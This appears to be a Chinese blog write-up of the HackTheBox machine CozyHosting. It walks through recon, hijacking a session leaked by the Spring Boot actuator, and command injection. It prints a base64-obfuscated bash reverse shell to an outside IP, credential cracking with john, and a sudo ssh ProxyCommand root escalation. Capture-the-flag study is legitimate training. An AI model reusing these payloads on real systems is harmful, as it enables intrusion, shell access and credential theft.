[渗透测试学习] CozyHosting - HackTheBox

文章目录


信息搜集
nmap扫描一下,发现存在80端口和22端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.230

[渗透测试学习] CozyHosting - HackTheBox_第1张图片直接访问80端口发现有跳转
[渗透测试学习] CozyHosting - HackTheBox_第2张图片

那么我们将ip添加到hosts里面,成功访问
[渗透测试学习] CozyHosting - HackTheBox_第3张图片
观察发现是企业网站,扫描一下没有子域名
那么就扫下目录,这里直接用dirsearch快一点
[渗透测试学习] CozyHosting - HackTheBox_第4张图片得到信息/actuator/文件路径,并且actuator是java框架spring boot的一个程序监视器
存在路径/admin,直接访问会跳转到/login

我们逐一去看
/env
[渗透测试学习] CozyHosting - HackTheBox_第5张图片
/sessions
[渗透测试学习] CozyHosting - HackTheBox_第6张图片
/health
[渗透测试学习] CozyHosting - HackTheBox_第7张图片
/mappings
[渗透测试学习] CozyHosting - HackTheBox_第8张图片我们发现/sessions泄露了用户kanerson的session
访问/admin然后bp抓包修改session登录成功
[渗透测试学习] CozyHosting - HackTheBox_第9张图片
拖到最下面,存在一个使用SSH和密钥进行添加远程主机的功能
[渗透测试学习] CozyHosting - HackTheBox_第10张图片

我们抓包看看,发现存在rce漏洞
[渗透测试学习] CozyHosting - HackTheBox_第11张图片

构造bash -i >& /dev/tcp/10.10.14.59/1028 0>&1,用base64编码绕过

`{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41OS8xMDI4IDA+JjE=}|{base64,-d}|{bash,-i}`

然后url编码一下成功反弹shell
[渗透测试学习] CozyHosting - HackTheBox_第12张图片
ls一下发现有jar包,我们找一下密码
我们在靶机上开启服务器

python3 -m http.server 8090

然后用wget下载下来jar包
[渗透测试学习] CozyHosting - HackTheBox_第13张图片丢到idea反编译
从代码中获取到postgres用户密码和数据库名cozyhosting
[渗透测试学习] CozyHosting - HackTheBox_第14张图片

我们查看下/etc/passwd可以知道postgres也是靶机用户
这里使用得到密码尝试登录到postgres用户失败了,于是尝试连接数据库。发现靶机环境中存在postgresql数据库连接工具psql,尝试连接数据库。

psql -U postgres -W -h localhost -d cozyhosting

连接成功后我们查看下数据库
[渗透测试学习] CozyHosting - HackTheBox_第15张图片然后选择数据库cozyhosting,输入密码

\c cozyhosting

\d参数查看所有的表
[渗透测试学习] CozyHosting - HackTheBox_第16张图片得到密码
[渗透测试学习] CozyHosting - HackTheBox_第17张图片然后用工具john爆破
[渗透测试学习] CozyHosting - HackTheBox_第18张图片
得到密码后,查看下用户发现只剩下josh为普通用户

[渗透测试学习] CozyHosting - HackTheBox_第19张图片
那么我们尝试ssh连接,成功得到user的flag

[渗透测试学习] CozyHosting - HackTheBox_第20张图片然后就是提权,我们sudo -l看看
发现有ssh命令,查下相关资料

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

[渗透测试学习] CozyHosting - HackTheBox_第21张图片

成功提权,得到root的flag
[渗透测试学习] CozyHosting - HackTheBox_第22张图片

你可能感兴趣的:(渗透测试学习日记,学习,web安全,安全)